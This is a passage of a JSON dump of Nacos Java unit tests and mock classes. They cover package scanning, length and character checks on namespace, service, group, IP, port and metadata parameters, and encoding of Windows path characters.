org.mockito.ArgumentMatchers.anyString;\nimport static org.mockito.Mockito.mock;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass DefaultPackageScanTest {\n    \n    @Mock\n    PathMatchingResourcePatternResolver pathMatchingResourcePatternResolver;\n    \n    DefaultPackageScan packageScan;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        packageScan = new DefaultPackageScan();\n    }\n    \n    @Test\n    void testGetSubTypesOf() {\n        packageScan = new DefaultPackageScan();\n        Set<Class<MockClass>> subTypesOf = packageScan.getSubTypesOf(AnnotationClass.class.getPackage().getName(),\n                MockClass.class);\n        assertEquals(3, subTypesOf.size());\n    }\n    \n    @Test\n    void testGetTypesAnnotatedWith() {\n        packageScan = new DefaultPackageScan();\n        Set<Class<Object>> actual = packageScan.getTypesAnnotatedWith(AnnotationClass.class.getPackage().getName(),\n                TestScan.class);\n        assertEquals(1, actual.size());\n        assertEquals(AnnotationClass.class, actual.iterator().next());\n    }\n    \n    @Test\n    void testGetSubTypesOfWithException() throws NoSuchFieldException, IllegalAccessException, IOException {\n        setResolver();\n        String path = AnnotationClass.class.getPackage().getName();\n        when(pathMatchingResourcePatternResolver.getResources(anyString())).thenThrow(new IOException(\"test\"));\n        Set<Class<MockClass>> subTypesOf = packageScan.getSubTypesOf(path, MockClass.class);\n        assertTrue(subTypesOf.isEmpty());\n    }\n    \n    @Test\n    void testGetTypesAnnotatedWithException() throws NoSuchFieldException, IllegalAccessException, IOException {\n        setResolver();\n        String path = AnnotationClass.class.getPackage().getName();\n        when(pathMatchingResourcePatternResolver.getResources(anyString())).thenThrow(new IOException(\"test\"));\n        Set<Class<Object>> actual = packageScan.getTypesAnnotatedWith(path, TestScan.class);\n        assertTrue(actual.isEmpty());\n    }\n    \n    @Test\n    void testClassVersionNotMatch() throws NoSuchFieldException, IllegalAccessException, IOException {\n        setResolver();\n        Resource resource = mock(Resource.class);\n        byte[] testCase = new byte[8];\n        testCase[7] = (byte) 64;\n        InputStream inputStream = new ByteArrayInputStream(testCase);\n        when(resource.getInputStream()).thenReturn(inputStream);\n        String path = AnnotationClass.class.getPackage().getName();\n        when(pathMatchingResourcePatternResolver.getResources(anyString())).thenReturn(new Resource[] {resource});\n        Set<Class<MockClass>> subTypesOf = packageScan.getSubTypesOf(path, MockClass.class);\n        assertTrue(subTypesOf.isEmpty());\n    }\n    \n    private void setResolver() throws NoSuchFieldException, IllegalAccessException {\n        Field field = DefaultPackageScan.class.getDeclaredField(\"resourcePatternResolver\");\n        field.setAccessible(true);\n        field.set(packageScan, pathMatchingResourcePatternResolver);\n    }\n}"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/packagescan/mock/AnnotationClass.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.packagescan.mock;\n\n@TestScan\npublic class AnnotationClass extends MockClass {\n\n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/packagescan/mock/MockClass.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.packagescan.mock;\n\npublic class MockClass {\n    \n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/packagescan/mock/NoAnnotationClass.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.packagescan.mock;\n\npublic class NoAnnotationClass extends MockClass {\n    \n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/packagescan/mock/TestScan.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.packagescan.mock;\n\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\n\n@Retention(RetentionPolicy.RUNTIME)\npublic @interface TestScan {\n    \n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/paramcheck/DefaultParamCheckerTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.paramcheck;\n\nimport com.alibaba.nacos.common.utils.RandomUtils;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.ArrayList;\nimport java.util.Collections;\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass DefaultParamCheckerTest {\n    \n    DefaultParamChecker paramChecker;\n    \n    int maxMetadataLength = RandomUtils.nextInt(1024, 10240);\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        System.setProperty(\"nacos.naming.service.metadata.length\", String.valueOf(maxMetadataLength));\n        paramChecker = new DefaultParamChecker();\n    }\n    \n    @Test\n    void testCheckerType() {\n        assertEquals(\"default\", paramChecker.getCheckerType());\n    }\n    \n    @Test\n    void testCheckEmptyParamInfoList() {\n        ParamCheckResponse actual = paramChecker.checkParamInfoList(null);\n        assertTrue(actual.isSuccess());\n        actual = paramChecker.checkParamInfoList(Collections.emptyList());\n        assertTrue(actual.isSuccess());\n    }\n    \n    @Test\n    void testCheckEmptyParamInfo() {\n        ParamInfo paramInfo = new ParamInfo();\n        ArrayList<ParamInfo> paramInfos = new ArrayList<>();\n        paramInfos.add(paramInfo);\n        paramInfos.add(null);\n        ParamCheckResponse actual = paramChecker.checkParamInfoList(paramInfos);\n        assertTrue(actual.isSuccess());\n    }\n    \n    @Test\n    void testCheckParamInfoForNamespaceShowName() {\n        ParamInfo paramInfo = new ParamInfo();\n        ArrayList<ParamInfo> paramInfos = new ArrayList<>();\n        paramInfos.add(paramInfo);\n        // Max Length\n        String namespaceShowName = buildStringLength(257);\n        paramInfo.setNamespaceShowName(namespaceShowName);\n        ParamCheckResponse actual = paramChecker.checkParamInfoList(paramInfos);\n        assertFalse(actual.isSuccess());\n        assertEquals(\"Param 'namespaceShowName' is illegal, the param length should not exceed 256.\", actual.getMessage());\n        // Pattern\n        paramInfo.setNamespaceShowName(\"hsbfkj@$!#khdkad\");\n        actual = paramChecker.checkParamInfoList(paramInfos);\n        assertFalse(actual.isSuccess());\n        assertEquals(\"Param 'namespaceShowName' is illegal, illegal characters should not appear in the param.\", actual.getMessage());\n        // Success\n        paramInfo.setNamespaceShowName(\"测试\");\n        actual = paramChecker.checkParamInfoList(paramInfos);\n        assertTrue(actual.isSuccess());\n    }\n    \n    @Test\n    void testCheckParamInfoForNamespaceId() {\n        ParamInfo paramInfo = new ParamInfo();\n        ArrayList<ParamInfo> paramInfos = new ArrayList<>();\n        paramInfos.add(paramInfo);\n        // Max Length\n        String namespaceId = buildStringLength(65);\n        paramInfo.setNamespaceId(namespaceId);\n        ParamCheckResponse actual = paramChecker.checkParamInfoList(paramInfos);\n        assertFalse(actual.isSuccess());\n        assertEquals(\"Param 'namespaceId/tenant' is illegal, the param length should not exceed 64.\", actual.getMessage());\n        // Pattern\n        paramInfo.setNamespaceId(\"hsbfkj@$!#khdkad\");\n        actual = paramChecker.checkParamInfoList(paramInfos);\n        assertFalse(actual.isSuccess());\n        assertEquals(\"Param 'namespaceId/tenant' is illegal, illegal characters should not appear in the param.\", actual.getMessage());\n        // Success\n        paramInfo.setNamespaceId(\"123-ashdal\");\n        actual = paramChecker.checkParamInfoList(paramInfos);\n        assertTrue(actual.isSuccess());\n    }\n    \n    @Test\n    void testCheckParamInfoForDataId() {\n        ParamInfo paramInfo = new ParamInfo();\n        ArrayList<ParamInfo> paramInfos = new ArrayList<>();\n        paramInfos.add(paramInfo);\n        // Max Length\n        String dataId = buildStringLength(257);\n        paramInfo.setDataId(dataId);\n        ParamCheckResponse actual = paramChecker.checkParamInfoList(paramInfos);\n        assertFalse(actual.isSuccess());\n        assertEquals(\"Param 'dataId' is illegal, the param length should not exceed 256.\", actual.getMessage());\n        // Pattern\n        paramInfo.setDataId(\"hsbfkj@$!#khdkad\");\n        actual = paramChecker.checkParamInfoList(paramInfos);\n        assertFalse(actual.isSuccess());\n        assertEquals(\"Param 'dataId' is illegal, illegal characters should not appear in the param.\", actual.getMessage());\n        // Success\n        paramInfo.setDataId(\"a-zA-Z0-9-_:.\");\n        actual = paramChecker.checkParamInfoList(paramInfos);\n        assertTrue(actual.isSuccess());\n    }\n    \n    @Test\n    void testCheckParamInfoForServiceName() {\n        ParamInfo paramInfo = new ParamInfo();\n        ArrayList<ParamInfo> paramInfos = new ArrayList<>();\n        paramInfos.add(paramInfo);\n        // Max Length\n        String serviceName = buildStringLength(513);\n        paramInfo.setServiceName(serviceName);\n        ParamCheckResponse actual = paramChecker.checkParamInfoList(paramInfos);\n        assertFalse(actual.isSuccess());\n        assertEquals(\"Param 'serviceName' is illegal, the param length should not exceed 512.\", actual.getMessage());\n        // Pattern\n        paramInfo.setServiceName(\"@hsbfkj$@@!#khdkad啊\");\n        actual = paramChecker.checkParamInfoList(paramInfos);\n        assertFalse(actual.isSuccess());\n        assertEquals(\"Param 'serviceName' is illegal, illegal characters should not appear in the param.\", actual.getMessage());\n        // Success\n        paramInfo.setServiceName(\"com.aaa@bbb#_{}-b:v1.2.2\");\n        actual = paramChecker.checkParamInfoList(paramInfos);\n        assertTrue(actual.isSuccess());\n    }\n    \n    @Test\n    void testCheckParamInfoForGroup() {\n        ParamInfo paramInfo = new ParamInfo();\n        ArrayList<ParamInfo> paramInfos = new ArrayList<>();\n        paramInfos.add(paramInfo);\n        // Max Length\n        String group = buildStringLength(129);\n        paramInfo.setGroup(group);\n        ParamCheckResponse actual = paramChecker.checkParamInfoList(paramInfos);\n        assertFalse(actual.isSuccess());\n        assertEquals(\"Param 'group' is illegal, the param length should not exceed 128.\", actual.getMessage());\n        // Pattern\n        paramInfo.setGroup(\"@hsbfkj$@@!#khdkad啊@@\");\n        actual = paramChecker.checkParamInfoList(paramInfos);\n        assertFalse(actual.isSuccess());\n        assertEquals(\"Param 'group' is illegal, illegal characters should not appear in the param.\", actual.getMessage());\n        // Success\n        paramInfo.setGroup(\"a-zA-Z0-9-_:.\");\n        actual = paramChecker.checkParamInfoList(paramInfos);\n        assertTrue(actual.isSuccess());\n    }\n    \n    @Test\n    void testCheckParamInfoForClusters() {\n        ParamInfo paramInfo = new ParamInfo();\n        ArrayList<ParamInfo> paramInfos = new ArrayList<>();\n        paramInfos.add(paramInfo);\n        // Max Length\n        String cluster = buildStringLength(65);\n        paramInfo.setClusters(cluster + \",\" + cluster);\n        ParamCheckResponse actual = paramChecker.checkParamInfoList(paramInfos);\n        assertFalse(actual.isSuccess());\n        assertEquals(\"Param 'cluster' is illegal, the param length should not exceed 64.\", actual.getMessage());\n        // Pattern\n        paramInfo.setClusters(\"@hsbfkj$@@!#khdkad啊@@\");\n        actual = paramChecker.checkParamInfoList(paramInfos);\n        assertFalse(actual.isSuccess());\n        assertEquals(\"Param 'cluster' is illegal, illegal characters should not appear in the param.\", actual.getMessage());\n        // Success\n        paramInfo.setClusters(\"0-9a-zA-Z-_,DEFAULT_abc-100\");\n        actual = paramChecker.checkParamInfoList(paramInfos);\n        assertTrue(actual.isSuccess());\n    }\n    \n    @Test\n    void testCheckParamInfoForCluster() {\n        ParamInfo paramInfo = new ParamInfo();\n        ArrayList<ParamInfo> paramInfos = new ArrayList<>();\n        paramInfos.add(paramInfo);\n        // Max Length\n        String cluster = buildStringLength(65);\n        paramInfo.setCluster(cluster);\n        ParamCheckResponse actual = paramChecker.checkParamInfoList(paramInfos);\n        assertFalse(actual.isSuccess());\n        assertEquals(\"Param 'cluster' is illegal, the param length should not exceed 64.\", actual.getMessage());\n        // Pattern\n        paramInfo.setCluster(\"@hsbfkj$@@!#khdkad啊@@\");\n        actual = paramChecker.checkParamInfoList(paramInfos);\n        assertFalse(actual.isSuccess());\n        assertEquals(\"Param 'cluster' is illegal, illegal characters should not appear in the param.\", actual.getMessage());\n        // Success\n        paramInfo.setCluster(\"0-9a-zA-Z-_\");\n        actual = paramChecker.checkParamInfoList(paramInfos);\n        assertTrue(actual.isSuccess());\n    }\n    \n    @Test\n    void testCheckParamInfoForIp() {\n        ParamInfo paramInfo = new ParamInfo();\n        ArrayList<ParamInfo> paramInfos = new ArrayList<>();\n        paramInfos.add(paramInfo);\n        // Max Length\n        String ip = buildStringLength(129);\n        paramInfo.setIp(ip);\n        ParamCheckResponse actual = paramChecker.checkParamInfoList(paramInfos);\n        assertFalse(actual.isSuccess());\n        assertEquals(\"Param 'ip' is illegal, the param length should not exceed 128.\", actual.getMessage());\n        // Pattern\n        paramInfo.setIp(\"禁止中文\");\n        actual = paramChecker.checkParamInfoList(paramInfos);\n        assertFalse(actual.isSuccess());\n        assertEquals(\"Param 'ip' is illegal, illegal characters should not appear in the param.\", actual.getMessage());\n        // Success\n        paramInfo.setIp(\"host_or_domain_or_ipv4_or_ipv6\");\n        actual = paramChecker.checkParamInfoList(paramInfos);\n        assertTrue(actual.isSuccess());\n    }\n    \n    @Test\n    void testCheckParamInfoForPort() {\n        ParamInfo paramInfo = new ParamInfo();\n        ArrayList<ParamInfo> paramInfos = new ArrayList<>();\n        paramInfos.add(paramInfo);\n        // Negative port\n        paramInfo.setPort(\"-1\");\n        ParamCheckResponse actual = paramChecker.checkParamInfoList(paramInfos);\n        assertFalse(actual.isSuccess());\n        assertEquals(\"Param 'port' is illegal, the value should be between 0 and 65535.\", actual.getMessage());\n        // Over than range\n        paramInfo.setPort(\"65536\");\n        actual = paramChecker.checkParamInfoList(paramInfos);\n        assertFalse(actual.isSuccess());\n        assertEquals(\"Param 'port' is illegal, the value should be between 0 and 65535.\", actual.getMessage());\n        // Not number\n        paramInfo.setPort(\"port\");\n        actual = paramChecker.checkParamInfoList(paramInfos);\n        assertFalse(actual.isSuccess());\n        assertEquals(\"Param 'port' is illegal, the value should be between 0 and 65535.\", actual.getMessage());\n        // Success\n        paramInfo.setPort(\"8848\");\n        actual = paramChecker.checkParamInfoList(paramInfos);\n        assertTrue(actual.isSuccess());\n    }\n    \n    @Test\n    void testCheckParamInfoForMetadata() {\n        ParamInfo paramInfo = new ParamInfo();\n        ArrayList<ParamInfo> paramInfos = new ArrayList<>();\n        paramInfos.add(paramInfo);\n        Map<String, String> metadata = new HashMap<>();\n        paramInfo.setMetadata(metadata);\n        // Max length\n        metadata.put(\"key1\", \"\");\n        metadata.put(\"key2\", buildStringLength(maxMetadataLength));\n        ParamCheckResponse actual = paramChecker.checkParamInfoList(paramInfos);\n        assertFalse(actual.isSuccess());\n        assertEquals(String.format(\"Param 'Metadata' is illegal, the param length should not exceed %d.\", maxMetadataLength), actual.getMessage());\n        // Success\n        metadata.put(\"key2\", String.format(\"Any key and value, only require length sum not more than %d.\", maxMetadataLength));\n        actual = paramChecker.checkParamInfoList(paramInfos);\n        assertTrue(actual.isSuccess());\n    }\n    \n    private String buildStringLength(int length) {\n        StringBuilder builder = new StringBuilder();\n        for (int i = 0; i < length; i++) {\n            builder.append(\"a\");\n        }\n        return builder.toString();\n    }\n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/paramcheck/MockParamChecker.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.paramcheck;\n\nimport java.util.List;\n\npublic class MockParamChecker extends AbstractParamChecker {\n    \n    @Override\n    public String getCheckerType() {\n        return \"mock\";\n    }\n    \n    @Override\n    public ParamCheckResponse checkParamInfoList(List<ParamInfo> paramInfos) {\n        return new ParamCheckResponse();\n    }\n    \n    @Override\n    public void initParamCheckRule() {\n    }\n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/paramcheck/ParamCheckerManagerTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.paramcheck;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ParamCheckerManagerTest {\n    \n    @Test\n    void testGetParamCheckerNonExistType() {\n        assertTrue(ParamCheckerManager.getInstance().getParamChecker(\"non\") instanceof DefaultParamChecker);\n    }\n    \n    @Test\n    void testGetParamCheckerNull() {\n        assertTrue(ParamCheckerManager.getInstance().getParamChecker(\"\") instanceof DefaultParamChecker);\n        assertTrue(ParamCheckerManager.getInstance().getParamChecker(null) instanceof DefaultParamChecker);\n    }\n    \n    @Test\n    void testGetParamCheckerDefault() {\n        assertTrue(ParamCheckerManager.getInstance().getParamChecker(\"default\") instanceof DefaultParamChecker);\n    }\n    \n    @Test\n    void testGetParamCheckerOther() {\n        assertTrue(ParamCheckerManager.getInstance().getParamChecker(\"mock\") instanceof MockParamChecker);\n    }\n}"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/pathencoder/PathEncoderManagerTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.pathencoder;\n\nimport com.alibaba.nacos.common.pathencoder.impl.WindowsEncoder;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.lang.reflect.Constructor;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.InvocationTargetException;\nimport java.nio.charset.Charset;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.Mockito.mock;\nimport static org.mockito.Mockito.never;\nimport static org.mockito.Mockito.verify;\n\nclass PathEncoderManagerTest {\n    \n    private String cachedOsName;\n    \n    private Field targetEncoder;\n    \n    private Object cachedEncoder;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        cachedOsName = System.getProperty(\"os.name\");\n        targetEncoder = PathEncoderManager.class.getDeclaredField(\"targetEncoder\");\n        targetEncoder.setAccessible(true);\n        cachedEncoder = targetEncoder.get(PathEncoderManager.getInstance());\n    }\n    \n    @AfterEach\n    void tearDown() throws Exception {\n        System.setProperty(\"os.name\", cachedOsName);\n        targetEncoder.set(PathEncoderManager.getInstance(), cachedEncoder);\n    }\n    \n    @Test\n    void testInitWithWindows()\n            throws NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {\n        Constructor<PathEncoderManager> constructor = PathEncoderManager.class.getDeclaredConstructor();\n        constructor.setAccessible(true);\n        System.setProperty(\"os.name\", \"window\");\n        PathEncoderManager instance = constructor.newInstance();\n        assertTrue(targetEncoder.get(instance) instanceof WindowsEncoder);\n    }\n    \n    /**\n     * test expose method.\n     */\n    @Test\n    void testWindowsEncode() throws Exception {\n        // load static\n        PathEncoderManager instance = PathEncoderManager.getInstance();\n        String case1 = \"aa||a\";\n        String case2 = \"aa%A9%%A9%a\";\n        // try to encode if in windows\n        targetEncoder.set(instance, new WindowsEncoder());\n        assertEquals(PathEncoderManager.getInstance().encode(case1), case2);\n        assertEquals(PathEncoderManager.getInstance().decode(case2), case1);\n    }\n    \n    @Test\n    void testEncodeWithNonExistOs() throws Exception {\n        // load static\n        PathEncoderManager instance = PathEncoderManager.getInstance();\n        // remove impl\n        targetEncoder.set(instance, null);\n        // try to encode, non windows\n        String case1 = \"aa||a\";\n        assertEquals(PathEncoderManager.getInstance().encode(case1), case1);\n        String case2 = \"aa%A9%%A9%a\";\n        assertEquals(PathEncoderManager.getInstance().decode(case2), case2);\n    }\n    \n    @Test\n    void testEncodeForNull() throws IllegalAccessException {\n        PathEncoder mockPathEncoder = mock(PathEncoder.class);\n        targetEncoder.set(PathEncoderManager.getInstance(), mockPathEncoder);\n        assertNull(PathEncoderManager.getInstance().encode(null));\n        assertNull(PathEncoderManager.getInstance().decode(null));\n        verify(mockPathEncoder, never()).encode(null, Charset.defaultCharset().name());\n        verify(mockPathEncoder, never()).decode(null, Charset.defaultCharset().name());\n    }\n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/pathencoder/WindowsEncoderTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.pathencoder;\n\nimport com.alibaba.nacos.common.pathencoder.impl.WindowsEncoder;\nimport org.junit.jupiter.api.Test;\n\nimport java.nio.charset.Charset;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass WindowsEncoderTest {\n    \n    WindowsEncoder windowsEncoder = new WindowsEncoder();\n    \n    /**\n     * test encode.\n     */\n    @Test\n    void testEncode() {\n        String charset = Charset.defaultCharset().name();\n        String case1 = \"aaaadsaknkf\";\n        assertEquals(windowsEncoder.encode(case1, charset), case1);\n        // matches one\n        String case2 = \"aaaa\\\\dsaknkf\";\n        assertEquals(\"aaaa%A1%dsaknkf\", windowsEncoder.encode(case2, charset));\n        String case3 = \"aaaa/dsaknkf\";\n        assertEquals(\"aaaa%A2%dsaknkf\", windowsEncoder.encode(case3, charset));\n        String case4 = \"aaaa:dsaknkf\";\n        assertEquals(\"aaaa%A3%dsaknkf\", windowsEncoder.encode(case4, charset));\n        String case5 = \"aaaa*dsaknkf\";\n        assertEquals(\"aaaa%A4%dsaknkf\", windowsEncoder.encode(case5, charset));\n        String case6 = \"aaaa?dsaknkf\";\n        assertEquals(\"aaaa%A5%dsaknkf\", windowsEncoder.encode(case6, charset));\n        String case7 = \"aaaa\\\"dsaknkf\";\n        assertEquals(\"aaaa%A6%dsaknkf\", windowsEncoder.encode(case7, charset));\n        String case8 = \"aaaa<dsaknkf\";\n        assertEquals(\"aaaa%A7%dsaknkf\", windowsEncoder.encode(case8, charset));\n        String case9 = \"aaaa>dsaknkf\";\n        assertEquals(\"aaaa%A8%dsaknkf\", windowsEncoder.encode(case9, charset));\n        String case10 = \"aaaa|dsaknkf\";\n        assertEquals(\"aaaa%A9%dsaknkf\", windowsEncoder.encode(case10, charset));\n        \n        // matches more\n        String case11 = \"aaaa<dsa<>>knkf\";\n        assertEquals(\"aaaa%A7%dsa%A7%%A8%%A8%knkf\", windowsEncoder.encode(case11, charset));\n        String case12 = \"aaaa\\\"dsa\\\"\\\\\\\\knkf\";\n        assertEquals(\"aaaa%A6%dsa%A6%%A1%%A1%knkf\", windowsEncoder.encode(case12, charset));\n    }\n    \n    /**\n     * test decode.\n     */\n    @Test\n    void testDecode() {\n        String charset = Charset.defaultCharset().name();\n        String case1 = \"aaaadsaknkf\";\n        assertEquals(windowsEncoder.decode(case1, charset), case1);\n        // matches one\n        String case2 = \"aaaa%A1%dsaknkf\";\n        assertEquals(\"aaaa\\\\dsaknkf\", windowsEncoder.decode(case2, charset));\n        String case3 = \"aaaa%A2%dsaknkf\";\n        assertEquals(\"aaaa/dsaknkf\", windowsEncoder.decode(case3, charset));\n        String case4 = \"aaaa%A3%dsaknkf\";\n        assertEquals(\"aaaa:dsaknkf\", windowsEncoder.decode(case4, charset));\n        String case5 = \"aaaa%A4%dsaknkf\";\n        assertEquals(\"aaaa*dsaknkf\", windowsEncoder.decode(case5, charset));\n        String case6 = \"aaaa%A5%dsaknkf\";\n        assertEquals(\"aaaa?dsaknkf\", windowsEncoder.decode(case6, charset));\n        String case7 = \"aaaa%A6%dsaknkf\";\n        assertEquals(\"aaaa\\\"dsaknkf\", windowsEncoder.decode(case7, charset));\n        String case8 = \"aaaa%A7%dsaknkf\";\n        assertEquals(\"aaaa<dsaknkf\", windowsEncoder.decode(case8, charset));\n        String case9 = \"aaaa%A8%dsaknkf\";\n        assertEquals(\"aaaa>dsaknkf\", windowsEncoder.decode(case9, charset));\n        String case10 = \"aaaa%A9%dsaknkf\";\n        assertEquals(\"aaaa|dsaknkf\", windowsEncoder.decode(case10, charset));\n        \n        // matches more\n        String case11 = \"aaaa%A7%dsa%A7%%A8%%A8%knkf\";\n        assertEquals(\"aaaa<dsa<>>knkf\", windowsEncoder.decode(case11, charset));\n        String case12 = \"aaaa%A6%dsa%A6%%A1%%A1%knkf\";\n        assertEquals(\"aaaa\\\"dsa\\\"\\\\\\\\knkf\", windowsEncoder.decode(case12, charset));\n    }\n    \n    /**\n     * test needEncode.\n     */\n    @Test\n    void testNeedEncode() {\n        // / : ? \" < > | \\\n        assertFalse(windowsEncoder.needEncode(null));\n        String case1 = \"aaaadsaknkf\";\n        assertFalse(windowsEncoder.needEncode(case1));\n        String case2 = \"?asda\";\n        assertTrue(windowsEncoder.needEncode(case2));\n        String case3 = \"/asdasd\";\n        assertTrue(windowsEncoder.needEncode(case3));\n        String case4 = \"as\\\\dasda\";\n        assertTrue(windowsEncoder.needEncode(case4));\n        String case5 = \"asd::as\";\n        assertTrue(windowsEncoder.needEncode(case5));\n        String case6 = \"sda\\\"sda\";\n        assertTrue(windowsEncoder.needEncode(case6));\n        String case7 = \"asdas<da\";\n        assertTrue(windowsEncoder.needEncode(case7));\n        String case8 = \"sdasas>a\";\n        assertTrue(windowsEncoder.needEncode(case8));\n        String case9 = \"das1|2e\";\n        assertTrue(windowsEncoder.needEncode(case9));\n    }\n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/remote/ConnectionTypeTest.java",
